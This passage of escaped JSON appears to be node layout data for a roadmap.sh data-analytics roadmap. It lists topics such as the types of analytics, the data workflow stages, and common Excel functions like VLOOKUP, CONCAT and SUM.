999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -144.6405735632627,\n        \"y\": 2413.512123340524\n      },\n      \"style\": {\n        \"width\": 387,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 387,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 102,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -194.821810236714,\n        \"y\": -220.42445334555111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -194.821810236714,\n        \"y\": -220.42445334555111\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 102\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 102\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -14.502815208049242,\n        \"y\": -270.15106699547107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -14.502815208049242,\n        \"y\": -270.15106699547107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -1.2994407952490974,\n        \"y\": -188.1655035777258\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -1.2994407952490974,\n        \"y\": -188.1655035777258\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 250,\n      \"height\": 49,\n      \"id\": \"yCnn-NfSxIybUQ2iTuUGq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 93.13989797603216,\n        \"y\": -50.03927645622106\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is Data Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"idLHBxhvcIqZTqmh_E8Az\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 93.13989797603216,\n        \"y\": -50.03927645622106\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 250,\n      \"height\": 49,\n      \"id\": \"Lsapbmg-eMIYJAHpV97nO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 93.13989797603216,\n        \"y\": 4.707303502152058\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Types of Data Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"R12sArWVpbIs_PHxBqVaR\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 93.13989797603216,\n        \"y\": 4.707303502152058\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wITmMpWlQy2z-fhJJsuJS\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 62.07457800662047,\n        \"y\": 85.96072354377894\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        },\n        \"oldId\": \"Mmb2g51O5AH43xdv4q9L0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 209,\n      \"positionAbsolute\": {\n        \"x\": 62.07457800662047,\n        \"y\": 85.96072354377894\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 209\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 209\n      }\n    },\n    {\n      \"id\": \"hWDh0ooidbqZb000ENVok\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Descriptive Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jowh4CFLQiFzKaaElyCuQ\"\n      },\n      \"position\": {\n        \"x\": 93.13989797603216,\n        \"y\": 85.96072354377894\n      },\n      \"width\": 250,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 93.13989797603216,\n        \"y\": 85.96072354377894\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j7DA2J3speSaBsZAV4M0v\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Diagnostic Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 93.13989797603216,\n        \"y\": 138.96072354377895\n      },\n      \"width\": 250,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 93.13989797603216,\n        \"y\": 138.96072354377895\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3WZORRCwme3HsaKew23Z5\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Predictive Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 93.13989797603216,\n        \"y\": 191.96072354377895\n      },\n      \"width\": 250,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 93.13989797603216,\n        \"y\": 191.96072354377895\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DFMR-0MbmVCCrJu0I9JWG\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Prescriptive Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"g_EBQizZsIe-vn8ir6FTv\"\n      },\n      \"position\": {\n        \"x\": 93.13989797603216,\n        \"y\": 244.96072354377895\n      },\n      \"width\": 250,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 250,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 93.13989797603216,\n        \"y\": 244.96072354377895\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 250,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 285,\n      \"height\": 49,\n      \"id\": \"R12sArWVpbIs_PHxBqVaR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -327.321810236714,\n        \"y\": 112.34268220704786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key Concepts of Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"os3Pa6W9SSNEzgmlBbglQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -327.321810236714,\n        \"y\": 112.34268220704786\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 285,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 285,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mDUSpexdq3ITV6qokwSJl\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Collection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YReKRRgE_2dWfGGdBQqbf\"\n      },\n      \"position\": {\n        \"x\": -319.143620473428,\n        \"y\": 173.84268220704786\n      },\n      \"width\": 124,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -319.143620473428,\n        \"y\": 173.84268220704786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nC7tViln4UyQFYP_-fyjB\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Cleanup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jowh4CFLQiFzKaaElyCuQ\"\n      },\n      \"position\": {\n        \"x\": -191.14362047342797,\n        \"y\": 173.84268220704786\n      },\n      \"width\": 136,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -191.14362047342797,\n        \"y\": 173.84268220704786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XFnw4_dQYSzm96-srWa7X\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Exploration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fyqg3MRcwY7g-Q3gjiqwK\"\n      },\n      \"position\": {\n        \"x\": -319.143620473428,\n        \"y\": 226.84268220704786\n      },\n      \"width\": 123,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 123,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -319.143620473428,\n        \"y\": 226.84268220704786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jowh4CFLQiFzKaaElyCuQ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Visualisation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": -191.14362047342797,\n        \"y\": 226.84268220704786\n      },\n      \"width\": 138,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -191.14362047342797,\n        \"y\": 226.84268220704786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2pUq-7hu5EjGpowz98YoV\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Statistical Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U55hwR0HRCIz2cveVR8FZ\"\n      },\n      \"position\": {\n        \"x\": -319.143620473428,\n        \"y\": 279.84268220704786\n      },\n      \"width\": 266,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -319.143620473428,\n        \"y\": 279.84268220704786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U55hwR0HRCIz2cveVR8FZ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Machine Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jowh4CFLQiFzKaaElyCuQ\"\n      },\n      \"position\": {\n        \"x\": -319.143620473428,\n        \"y\": 332.84268220704786\n      },\n      \"width\": 266,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -319.143620473428,\n        \"y\": 332.84268220704786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zF-aibk1m_zAsafT04efn\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -719,\n        \"y\": -3.792696497847942\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Building a Strong Foundation\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16,\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"jzT54cgNpZc76XxjuNN3B\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 66,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -719,\n        \"y\": -3.792696497847942\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 66\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 66\n      }\n    },\n    {\n      \"width\": 294,\n      \"height\": 49,\n      \"id\": \"sgXIjVTbwdwdYoaxN3XBM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -713.5,\n        \"y\": 109.34268220704786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Analysis / Reporting with Excel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SiYUdtYMDImRPmV2_XPkH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 294,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -713.5,\n        \"y\": 109.34268220704786\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 294,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wME4MSldOWlMB54ekpReS\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"IF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SIiIfcy-jeiRoDlxw385V\"\n      },\n      \"position\": {\n        \"x\": -703.143620473428,\n        \"y\": 166.8426822070478\n      },\n      \"width\": 131,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -703.143620473428,\n        \"y\": 166.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yBlJrNo9eO470dLp6OaQZ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"DATEDIF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D5Q6o6ydr1j51kB0ASFPE\"\n      },\n      \"position\": {\n        \"x\": -569.5,\n        \"y\": 167.8426822070478\n      },\n      \"width\": 136,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -569.5,\n        \"y\": 167.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9sIP-jpNjtA1JPCBjTf-H\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"VLOOKUP / HLOOKUP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YReKRRgE_2dWfGGdBQqbf\"\n      },\n      \"position\": {\n        \"x\": -703.5,\n        \"y\": 219.8426822070478\n      },\n      \"width\": 270,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -703.5,\n        \"y\": 219.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dke_pySrqYZZ7K3rprnIT\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"REPLACE / SUBSTITUTE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YReKRRgE_2dWfGGdBQqbf\"\n      },\n      \"position\": {\n        \"x\": -703.5,\n        \"y\": 272.8426822070478\n      },\n      \"width\": 270,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -703.5,\n        \"y\": 272.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YReKRRgE_2dWfGGdBQqbf\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"UPPER / LOWER / PROPER\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"U55hwR0HRCIz2cveVR8FZ\"\n      },\n      \"position\": {\n        \"x\": -703.5,\n        \"y\": 325.8426822070478\n      },\n      \"width\": 270,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -703.5,\n        \"y\": 325.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SIiIfcy-jeiRoDlxw385V\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"CONCAT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YReKRRgE_2dWfGGdBQqbf\"\n      },\n      \"position\": {\n        \"x\": -703.143620473428,\n        \"y\": 378.8426822070478\n      },\n      \"width\": 131,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -703.143620473428,\n        \"y\": 378.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"D5Q6o6ydr1j51kB0ASFPE\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"TRIM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YReKRRgE_2dWfGGdBQqbf\"\n      },\n      \"position\": {\n        \"x\": -569.5,\n        \"y\": 378.8426822070478\n      },\n      \"width\": 136,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -569.5,\n        \"y\": 378.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FDYunL9KJkR_tHEcUV2iC\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"AVERAGE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SIiIfcy-jeiRoDlxw385V\"\n      },\n      \"position\": {\n        \"x\": -703.143620473428,\n        \"y\": 431.8426822070478\n      },\n      \"width\": 131,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -703.143620473428,\n        \"y\": 431.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uAdxP1ZkgzcU8JcWjvw6d\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"COUNT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D5Q6o6ydr1j51kB0ASFPE\"\n      },\n      \"position\": {\n        \"x\": -569.5,\n        \"y\": 432.8426822070478\n      },\n      \"width\": 136,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -569.5,\n        \"y\": 432.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_FO80Cm2iAD_bThmnsEgp\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"SUM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FDYunL9KJkR_tHEcUV2iC\"\n      },\n      \"position\": {\n        \"x\": -703.143620473428,\n        \"y\": 484.8426822070478\n      },\n      \"width\": 131,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -703.143620473428,\n        \"y\": 484.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"F3-cr5onkWqKKPRdxu8lV\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"MIN / MAX\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"uAdxP1ZkgzcU8JcWjvw6d\"\n      },\n      \"position\": {\n        \"x\": -569.5,\n        \"y\": 485.8426822070478\n      },\n      \"width\": 136,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 136,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -569.5,\n        \"y\": 485.8426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5GarFKYApjrhxHBLNPVnJ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -674,\n        \"y\": 543.1000000000001\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn Common Functions\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -674,\n        \"y\": 543.1000000000001\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"KBqpT6IbJCgJ0TRy3ey-H\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -419.5,\n        \"y\": 485.8426822070478\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2183e4\"\n        },\n        \"oldId\": \"4UNRDLVOlXSR5u6tdypth\"\n      },\n      \"zIndex\": 999,\n      \"width\": 93,\n      \"height\": 20,\n      \"positionAbsolute\": {\n        \"x\": -419.5,\n        \"y\": 485.8426822070478\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 93,\n        \"height\": 20\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 93,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Vk3JErqxpnPY44iyfkLMl\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Charting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fyqg3MRcwY7g-Q3gjiqwK\"\n      },\n      \"position\": {\n        \"x\": -327.321810236714,\n        \"y\": 418.3426822070478\n      },\n      \"width\": 142,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -327.321810236714,\n        \"y\": 418.3426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2DDJUFr0AJTVR2Whj8zub\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Pivot Tables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Fyqg3MRcwY7g-Q3gjiqwK\"\n      },\n      \"position\": {\n        \"x\": -327.321810236714,\n        \"y\": 471.3426822070478\n      },\n      \"width\": 142,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -327.321810236714,\n        \"y\": 471.3426822070478\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 280,\n      \"height\": 49,\n      \"id\": \"i2uEcaO4bJhcZ5ayRs2CQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -87.42542199337953,\n        \"y\": 441\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": 